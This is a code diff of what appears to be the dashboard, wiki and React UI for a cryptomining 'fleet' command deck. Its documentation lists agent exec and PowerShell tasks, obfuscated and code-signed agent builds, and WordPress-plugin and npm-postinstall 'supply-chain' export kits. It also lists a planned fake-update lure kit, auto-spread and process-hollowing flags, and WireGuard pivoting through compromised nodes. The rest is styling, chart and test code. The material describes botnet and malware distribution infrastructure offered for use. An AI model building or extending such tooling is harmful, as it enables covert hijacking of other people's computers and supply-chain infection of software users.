<li><strong>Fleet Alerts</strong> — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds</li>
|
||||
<li><strong>Telegram + SMTP</strong> — per-event matrix; <code>POST /api/v1/alerts/test</code></li>
|
||||
<li><strong>KEV exposure notify</strong> — optional ping on critical Full Sys Check indicators</li>
|
||||
<li><strong>Fleet Tasks</strong> — <code>on_connect</code>, <code>on_reconnect</code>, <code>interval_hours</code>, daily <code>cron</code> (<code>HH:MM</code>)</li>
|
||||
<li>Task actions: <code>sysinfo</code>, <code>full_sys_check</code>, <code>powershell</code>, <code>exec</code>, <code>pause</code>, <code>resume</code>, <code>restart</code></li>
|
||||
</ul>
|
||||
|
||||
<h3>Fleet policy & staged modules</h3>
|
||||
<ul>
|
||||
<li><strong>Fleet Policy</strong> — <code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
|
||||
<li><strong>Staged Modules</strong> — <code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
|
||||
<li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
|
||||
</ul>
|
||||
|
||||
<h3>Tunnels & signing defaults</h3>
|
||||
<ul>
|
||||
<li><strong>Cloudflare Tunnel Token</strong> — saved to <code>config.json</code> + <code>data/cloudflared-token.txt</code>; server starts <code>cloudflared tunnel run</code> on launch (<span class="wiki-status windows">Windows server auto-launch</span>; Linux server stub)</li>
|
||||
<li><strong>tunnel_defaults.cloudflared_target_url</strong> — defaults from <code>server.public_url</code></li>
|
||||
<li><strong>Forge pipeline</strong> — garble default, Authenticode thumbprint, timestamp URL, signtool path</li>
|
||||
</ul>
|
||||
|
||||
<h3>Users & backup</h3>
|
||||
<ul>
|
||||
<li><strong>Users</strong> — bcrypt in <code>data/users.json</code>; <code>POST /api/v1/users</code> adds accounts</li>
|
||||
<li><strong>Fleet secret rotation</strong> — <code>POST /api/v1/server/rotate-secret</code> kicks agents; re-forge required</li>
|
||||
<li><strong>Deck backup</strong> — <code>GET /api/v1/backup</code> ZIP (config + DB + users)</li>
|
||||
<li><strong>Operator audit</strong> — <code>GET /api/v1/audit</code> (last 50 actions)</li>
|
||||
</ul>
|
||||
<p>Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.</p>
|
||||
</section>
|
||||
|
||||
<!-- 8c. Path Tracer -->
|
||||
<section id="path-tracer">
|
||||
<h2>Path Tracer</h2>
|
||||
<p>
|
||||
Route <code>/pathtracer</code> — multi-hop WireGuard chain builder for reaching agents through intermediate
|
||||
fleet nodes. Sessions auto-expire after <strong>2 hours</strong> with background <code>wg_teardown</code>.
|
||||
</p>
|
||||
|
||||
<h3>Workflow</h3>
|
||||
<ol>
|
||||
<li>Select online fleet agents as hops (entry → middle → exit)</li>
|
||||
<li><code>POST /api/v1/pathtrace/start</code> — server orchestrates <code>wg_setup</code> / <code>wg_configure</code> on each hop</li>
|
||||
<li>Poll <code>GET /api/v1/pathtrace/{id}/status</code> until <code>ready</code></li>
|
||||
<li>Download QR or <code>.conf</code> via <code>GET /api/v1/pathtrace/{id}/qr</code> — import into WireGuard app</li>
|
||||
<li><code>DELETE /api/v1/pathtrace/{id}</code> tears down session</li>
|
||||
</ol>
|
||||
|
||||
<h3>Topology (fixed 2026-06-04)</h3>
|
||||
<ul>
|
||||
<li>Hop 1 receives client peer <code>10.66.0.1/32</code></li>
|
||||
<li>Single-hop chains no longer get empty peer lists</li>
|
||||
<li>Multi-hop adds reverse peers on middle and exit hops</li>
|
||||
<li>Hop names resolve from fleet DB <code>AgentName</code> (fallback <code>hop-N</code>)</li>
|
||||
</ul>
|
||||
|
||||
<h3>Platform notes</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Component</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Windows agent <code>wg_setup</code></td><td><span class="wiki-status working">Working</span> — may auto-download WireGuard on first use</td></tr>
|
||||
<tr><td>Linux/macOS agent <code>wg_setup</code></td><td><span class="wiki-status stub">Stub</span> — returns error; pre-install WireGuard manually</td></tr>
|
||||
<tr><td>Server orchestration API</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Dashboard Path Tracer page</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Pair with <code>tunnel_wireguard</code> agent command for per-node tunnels outside Path Tracer sessions.</p>
|
||||
</section>
|
||||
|
||||
<!-- 9. Security & Auth -->
|
||||
<section id="security-auth">
|
||||
<h2>Security & Auth</h2>
|
||||
@@ -730,6 +1170,30 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
|
||||
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/shares</code></td><td>Recent share feed</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/dashboard/stats</code></td><td>Aggregate dashboard stats</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/server/info</code></td><td>LAN IPs, suggested URL</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/server/ready</code></td><td>Readiness probe</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/ai/activity</code></td><td>AI decision log</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/fleet/modules</code></td><td>List staged module manifests</td></tr>
|
||||
<tr><td>PUT</td><td><code>/api/v1/fleet/policy</code></td><td>Push runtime mining policy</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/fleet/modules/push</code></td><td>Queue <code>fetch_module</code></td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/agents/{id}/log</code></td><td>Agent log (90s long-poll with <code>refresh=1</code>)</td></tr>
|
||||
<tr><td>PUT</td><td><code>/api/v1/agents/{id}/meta</code></td><td>Notes / tags</td></tr>
|
||||
<tr><td>DELETE</td><td><code>/api/v1/agents/{id}</code></td><td>Remove agent from fleet DB</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/estimate</code></td><td>Pre-forge size/time estimate</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/path-forge</code></td><td>Batch launcher placement</td></tr>
|
||||
<tr><td>GET/POST/DELETE</td><td><code>/api/v1/blueprints</code></td><td>Forge blueprint CRUD</td></tr>
|
||||
<tr><td>GET/PUT</td><td><code>/api/v1/emberwake/notes</code></td><td>Shared operator notes</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/pathtrace/start</code></td><td>Start WireGuard chain session</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/status</code></td><td>Path Tracer session status</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/qr</code></td><td>WireGuard QR + conf</td></tr>
|
||||
<tr><td>DELETE</td><td><code>/api/v1/pathtrace/{id}</code></td><td>Teardown session</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/server/rotate-secret</code></td><td>Rotate fleet secret</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/users</code></td><td>Add dashboard user</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/backup</code></td><td>Full deck backup ZIP</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/agent/beacon</code></td><td>HTTPS beacon (fleet secret header)</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/download/agent-{windows,linux,mac}</code></td><td>Agent binaries for Seek / PathForge</td></tr>
|
||||
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
@@ -834,13 +1298,19 @@ test.bat # full suite</code></pre>
|
||||
|
||||
<h3>Spread / Emberwake gaps</h3>
|
||||
<ul>
|
||||
<li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
|
||||
<li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
|
||||
<li>No built-in OAuth redirect helper or public npm/PyPI publish pipeline</li>
|
||||
<li>No JS fingerprint / TDS bot gate on spread landers</li>
|
||||
<li>SocGholish-style fake-update HTML kit — operator supplies custom branding</li>
|
||||
</ul>
|
||||
|
||||
<h3>Server (low)</h3>
|
||||
<h3>Server / agent (open)</h3>
|
||||
<ul>
|
||||
<li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
|
||||
<li><code>tunnel_stream</code> TCP reverse relay — not implemented</li>
|
||||
<li>Server <code>cloudflared</code> auto-launch — Windows only; Linux server needs manual tunnel</li>
|
||||
<li><code>bof_execute</code> — permanently disabled</li>
|
||||
<li>Mesh P2P — default build stub; re-forge with <code>-tags p2p</code></li>
|
||||
<li>Linux/macOS GPU RVN — broken (Windows miner binaries)</li>
|
||||
<li><code>server/webroot</code> not auto-synced on <code>npm run build</code> — run <code>devrun.bat</code></li>
|
||||
</ul>
|
||||
|
||||
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).</p>
|
||||
|
||||
58
server/web/public/docs/spread-techniques.js
Normal file
58
server/web/public/docs/spread-techniques.js
Normal file
@@ -0,0 +1,58 @@
|
||||
(function () {
|
||||
const tabButtons = document.querySelectorAll('[data-spread-tab]');
|
||||
const panels = document.querySelectorAll('[data-spread-panel]');
|
||||
|
||||
function activateTab(tabId, pushHash) {
|
||||
tabButtons.forEach((btn) => {
|
||||
const active = btn.getAttribute('data-spread-tab') === tabId;
|
||||
btn.classList.toggle('active', active);
|
||||
btn.setAttribute('aria-selected', active ? 'true' : 'false');
|
||||
});
|
||||
panels.forEach((panel) => {
|
||||
const show = panel.getAttribute('data-spread-panel') === tabId;
|
||||
panel.hidden = !show;
|
||||
panel.classList.toggle('active', show);
|
||||
});
|
||||
if (pushHash !== false) {
|
||||
history.replaceState(null, '', '#' + tabId);
|
||||
}
|
||||
const sub = document.getElementById(window.location.hash.slice(1));
|
||||
if (sub && sub.closest('[data-spread-panel="' + tabId + '"]')) {
|
||||
window.setTimeout(() => sub.scrollIntoView({ behavior: 'smooth', block: 'start' }), 60);
|
||||
}
|
||||
}
|
||||
|
||||
tabButtons.forEach((btn) => {
|
||||
btn.addEventListener('click', () => activateTab(btn.getAttribute('data-spread-tab')));
|
||||
});
|
||||
|
||||
document.querySelectorAll('.wiki-nav a[href^="#"]').forEach((link) => {
|
||||
link.addEventListener('click', (e) => {
|
||||
e.preventDefault();
|
||||
const id = link.getAttribute('href').slice(1);
|
||||
const panel = document.querySelector('[data-spread-panel="' + id + '"]');
|
||||
if (panel) {
|
||||
activateTab(id);
|
||||
} else {
|
||||
const el = document.getElementById(id);
|
||||
const tabId = el?.closest('[data-spread-panel]')?.getAttribute('data-spread-panel');
|
||||
if (tabId) activateTab(tabId);
|
||||
if (el) window.setTimeout(() => el.scrollIntoView({ behavior: 'smooth', block: 'start' }), 80);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
const hash = window.location.hash.slice(1);
|
||||
const tabFromHash =
|
||||
hash && document.querySelector('[data-spread-panel="' + hash + '"]')
|
||||
? hash
|
||||
: hash && document.getElementById(hash)
|
||||
? document.getElementById(hash).closest('[data-spread-panel]')?.getAttribute('data-spread-panel')
|
||||
: null;
|
||||
|
||||
activateTab(tabFromHash || 'overview', false);
|
||||
|
||||
if (hash && document.getElementById(hash)) {
|
||||
window.setTimeout(() => document.getElementById(hash).scrollIntoView({ behavior: 'smooth', block: 'start' }), 120);
|
||||
}
|
||||
})();
|
||||
@@ -411,6 +411,109 @@ mark.wiki-search-highlight {
|
||||
line-height: 180px;
|
||||
}
|
||||
|
||||
/* Feature status badges (Working / Stub / Disabled) */
|
||||
.wiki-status {
|
||||
display: inline-block;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
padding: 0.12rem 0.45rem;
|
||||
border-radius: 3px;
|
||||
border: 1px solid transparent;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.wiki-status.working {
|
||||
color: var(--neon-green);
|
||||
border-color: rgba(46, 232, 16, 0.35);
|
||||
background: rgba(46, 232, 16, 0.08);
|
||||
}
|
||||
|
||||
.wiki-status.partial {
|
||||
color: var(--neon-amber);
|
||||
border-color: rgba(232, 152, 48, 0.35);
|
||||
background: rgba(232, 152, 48, 0.08);
|
||||
}
|
||||
|
||||
.wiki-status.windows {
|
||||
color: var(--neon-cyan);
|
||||
border-color: rgba(0, 232, 245, 0.3);
|
||||
background: rgba(0, 232, 245, 0.06);
|
||||
}
|
||||
|
||||
.wiki-status.stub,
|
||||
.wiki-status.disabled {
|
||||
color: var(--text-muted);
|
||||
border-color: rgba(94, 88, 104, 0.5);
|
||||
background: rgba(94, 88, 104, 0.12);
|
||||
}
|
||||
|
||||
/* Spread techniques tabbed playbook */
|
||||
.spread-tab-bar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
margin: 0 0 1.25rem;
|
||||
padding-bottom: 0.75rem;
|
||||
border-bottom: 1px solid var(--border-brass);
|
||||
}
|
||||
|
||||
.spread-tab {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
padding: 0.4rem 0.7rem;
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 4px;
|
||||
background: var(--bg-panel);
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.15s, color 0.15s, box-shadow 0.15s;
|
||||
}
|
||||
|
||||
.spread-tab:hover {
|
||||
color: var(--neon-cyan);
|
||||
border-color: var(--border-neon);
|
||||
}
|
||||
|
||||
.spread-tab.active {
|
||||
color: var(--neon-cyan);
|
||||
border-color: var(--neon-cyan);
|
||||
box-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
|
||||
}
|
||||
|
||||
.spread-panel[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.spread-panel h3 {
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.spread-steps {
|
||||
margin: 0 0 1rem;
|
||||
padding-left: 1.25rem;
|
||||
}
|
||||
|
||||
.spread-steps li {
|
||||
margin-bottom: 0.45rem;
|
||||
}
|
||||
|
||||
.spread-deck-link {
|
||||
display: inline-block;
|
||||
margin-top: 0.5rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.82rem;
|
||||
color: var(--neon-amber);
|
||||
}
|
||||
|
||||
.spread-deck-link:hover {
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.wiki-sidebar {
|
||||
position: relative;
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
<a href="#campaigns">Campaigns</a>
|
||||
<a href="#cms">CMS upload</a>
|
||||
<a href="#plugins">Plugins</a>
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
|
||||
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -169,7 +169,8 @@
|
||||
<p>
|
||||
<span class="tag">Tip</span>
|
||||
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
||||
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
||||
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
@@ -230,7 +231,7 @@
|
||||
<p>
|
||||
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
||||
<em>you</em> operate. See
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
|
||||
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
|
||||
@@ -123,9 +123,18 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
|
||||
resize();
|
||||
window.addEventListener('resize', resize);
|
||||
|
||||
const tick = () => {
|
||||
if (document.hidden) {
|
||||
let paused = document.visibilityState === 'hidden';
|
||||
const onVis = () => {
|
||||
paused = document.visibilityState === 'hidden';
|
||||
if (!paused && !rafRef.current) {
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
}
|
||||
};
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
|
||||
const tick = () => {
|
||||
if (paused) {
|
||||
rafRef.current = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -182,6 +191,7 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
|
||||
return () => {
|
||||
document.removeEventListener('visibilitychange', onVis);
|
||||
window.removeEventListener('resize', resize);
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
};
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { memo } from 'react';
|
||||
import {
|
||||
Area,
|
||||
AreaChart,
|
||||
@@ -32,17 +33,17 @@ interface HashrateChartProps {
|
||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||
|
||||
function colorToId(color: string): string {
|
||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff') return 'cyan';
|
||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
||||
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
||||
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
||||
return 'purple';
|
||||
}
|
||||
|
||||
export default function HashrateChart({
|
||||
function HashrateChart({
|
||||
data,
|
||||
title,
|
||||
color = '#00f5ff',
|
||||
color = 'var(--neon-cyan)',
|
||||
unit = 'H/s',
|
||||
height = 280,
|
||||
displayMode = 'live',
|
||||
@@ -187,3 +188,5 @@ function formatFull(v: number, unit: string): string {
|
||||
}
|
||||
return `${v.toFixed(1)}${unit}`;
|
||||
}
|
||||
|
||||
export default memo(HashrateChart);
|
||||
|
||||
@@ -177,15 +177,13 @@ export default function SupplyChainExportWizard({
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="spread-section spread-section--violet supply-chain-wizard operator-deck-card operator-interactive">
|
||||
<div className="supply-chain-wizard">
|
||||
<div className="supply-chain-wizard-header">
|
||||
<h3>Supply-chain export wizard</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
WordPress plugin ZIP (<code>/get?c=wp-{'{site}'}</code>) or npm helper (postinstall curls{' '}
|
||||
<code>install.sh</code>).{' '}
|
||||
<a href={wikiUrl} target="_blank" rel="noreferrer">
|
||||
Wiki playbook §
|
||||
{family === 'wordpress' ? 'WordPress playbook' : 'npm helper playbook'}
|
||||
</a>
|
||||
{' '}for hosting steps after export.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -228,7 +226,7 @@ export default function SupplyChainExportWizard({
|
||||
<div className="supply-chain-step-panel">
|
||||
{step === 'pick-build' && (
|
||||
<>
|
||||
<p className="form-hint">Choose the pinned build embedded in the export artifact.</p>
|
||||
<p className="form-hint">Uses Build A from campaign setup above unless you change it here.</p>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-build">Build (pin)</label>
|
||||
<select
|
||||
@@ -257,6 +255,7 @@ export default function SupplyChainExportWizard({
|
||||
|
||||
{step === 'configure' && (
|
||||
<>
|
||||
<p className="form-hint">Synced with campaign setup — edit here or above.</p>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="sc-server">Command deck URL</label>
|
||||
<input
|
||||
@@ -343,7 +342,7 @@ export default function SupplyChainExportWizard({
|
||||
: 'Export npm package template ZIP'}
|
||||
</button>
|
||||
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
|
||||
Read wiki §
|
||||
Read playbook
|
||||
</a>
|
||||
</div>
|
||||
</>
|
||||
|
||||
@@ -33,7 +33,7 @@
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; }
|
||||
.agent-glow { background: var(--neon-cyan); box-shadow: 0 0 10px var(--neon-cyan), 0 0 20px var(--neon-cyan); }
|
||||
.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
|
||||
|
||||
.tactical-grid {
|
||||
@@ -82,7 +82,7 @@
|
||||
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
|
||||
}
|
||||
|
||||
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; }
|
||||
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: var(--neon-cyan); }
|
||||
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
|
||||
|
||||
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
|
||||
@@ -100,7 +100,7 @@
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
border: 1px solid var(--neon-cyan);
|
||||
border-radius: 6px;
|
||||
overflow: hidden;
|
||||
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
|
||||
@@ -113,7 +113,7 @@
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
font-weight: bold;
|
||||
color: #00e5ff;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.viewer-header button {
|
||||
@@ -181,7 +181,7 @@
|
||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-title { font-size: 0.7rem; color: var(--neon-cyan); letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||
|
||||
@@ -196,7 +196,7 @@
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:hover { background: var(--neon-cyan); color: #000; }
|
||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* Upgrade section */
|
||||
@@ -250,10 +250,10 @@
|
||||
background: rgba(255,171,0,0.2);
|
||||
border: 1px solid rgba(255,171,0,0.4);
|
||||
border-radius: 4px;
|
||||
color: #ffcc44;
|
||||
color: var(--neon-amber);
|
||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||
}
|
||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||
.offline-dot { background: var(--text-muted); box-shadow: 0 0 6px var(--text-muted); }
|
||||
|
||||
@keyframes pulse-amber {
|
||||
0%, 100% { opacity: 1; }
|
||||
@@ -268,7 +268,7 @@
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(0,229,255,0.3);
|
||||
background: rgba(0,229,255,0.06);
|
||||
color: #00e5ff;
|
||||
color: var(--neon-cyan);
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
text-align: left;
|
||||
@@ -292,7 +292,7 @@
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||
.wol-mac-input:focus { border-color: var(--neon-cyan); }
|
||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||
|
||||
/* Compact mode extras */
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
import { useState, type ReactNode } from 'react';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
|
||||
interface Props {
|
||||
label: string;
|
||||
className: string;
|
||||
defaultOpen?: boolean;
|
||||
helpField?: string;
|
||||
children: ReactNode;
|
||||
}
|
||||
|
||||
/** Steampunk accordion row for dense Crucible op groups. */
|
||||
export default function CrucibleCollapsibleSection({
|
||||
label,
|
||||
className,
|
||||
defaultOpen = false,
|
||||
helpField,
|
||||
children,
|
||||
}: Props) {
|
||||
const [open, setOpen] = useState(defaultOpen);
|
||||
|
||||
return (
|
||||
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
|
||||
<div className="cop-toggle-row">
|
||||
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
|
||||
<span className="cop-label">{label}</span>
|
||||
<span className="cop-chevron" aria-hidden>
|
||||
{open ? '▲' : '▼'}
|
||||
</span>
|
||||
</button>
|
||||
{helpField ? <HelpTip field={helpField} /> : null}
|
||||
</div>
|
||||
{open ? <div className="cop-body">{children}</div> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
225
server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx
Normal file
225
server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx
Normal file
@@ -0,0 +1,225 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { type ComponentProps } from 'react';
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import CrucibleExpandedOps from './CrucibleExpandedOps';
|
||||
import { api } from '../../api/client';
|
||||
import { mockAgent } from '../../test/fixtures';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
listBuilds: vi.fn(),
|
||||
sendAgentCommand: vi.fn(),
|
||||
sendWOL: vi.fn(),
|
||||
sendBulkCommand: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock('./CruciblePortForwardMatrix', () => ({
|
||||
default: () => <div data-testid="port-forward-matrix" />,
|
||||
}));
|
||||
|
||||
vi.mock('./ProtocolTunnelPanel', () => ({
|
||||
default: () => <div data-testid="protocol-tunnel-panel" />,
|
||||
}));
|
||||
|
||||
vi.mock('./FileManager', () => ({
|
||||
default: () => <div data-testid="file-manager" />,
|
||||
}));
|
||||
|
||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||
const sendBulkCommandMock = vi.mocked(api.sendBulkCommand);
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
const onlineWin = mockAgent({
|
||||
id: 'win-1',
|
||||
name: 'WinNode',
|
||||
status: 'online',
|
||||
platform: 'windows',
|
||||
mac_address: 'AA:BB:CC:DD:EE:FF',
|
||||
capabilities: fullCaps,
|
||||
});
|
||||
|
||||
function defaultProps(overrides: Partial<ComponentProps<typeof CrucibleExpandedOps>> = {}) {
|
||||
return {
|
||||
activeTab: 'ops' as const,
|
||||
selectedAgents: [onlineWin],
|
||||
selectedCount: 1,
|
||||
singleSelectedAgent: onlineWin,
|
||||
allAgents: [onlineWin],
|
||||
commandResults: [],
|
||||
onEcho: vi.fn(),
|
||||
onAgentError: vi.fn(),
|
||||
onScanSelected: vi.fn(),
|
||||
onProbePosture: vi.fn(),
|
||||
onProbeSSH: vi.fn(),
|
||||
onWakeSSH: vi.fn(),
|
||||
onShellDispatch: vi.fn(),
|
||||
browseAgent: onlineWin,
|
||||
encryptTargets: [{ id: 'win-1', name: 'WinNode' }],
|
||||
fmCommandResults: [],
|
||||
tunnelStatusMsg: '',
|
||||
onDispatchTunnel: vi.fn(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('CrucibleExpandedOps', () => {
|
||||
beforeEach(() => {
|
||||
vi.resetAllMocks();
|
||||
listBuildsMock.mockResolvedValue([
|
||||
{
|
||||
id: 'build-1',
|
||||
file_name: 'worker.exe',
|
||||
download_url: 'http://127.0.0.1:8080/api/download/agent-build-1',
|
||||
platform: 'windows',
|
||||
},
|
||||
]);
|
||||
sendAgentCommandMock.mockResolvedValue({ success: true });
|
||||
sendBulkCommandMock.mockResolvedValue({ sent: 1, failed: 0 });
|
||||
sendWOLMock.mockResolvedValue({ success: true, mac: 'AA:BB:CC:DD:EE:FF' });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it('renders ops tab section headers', () => {
|
||||
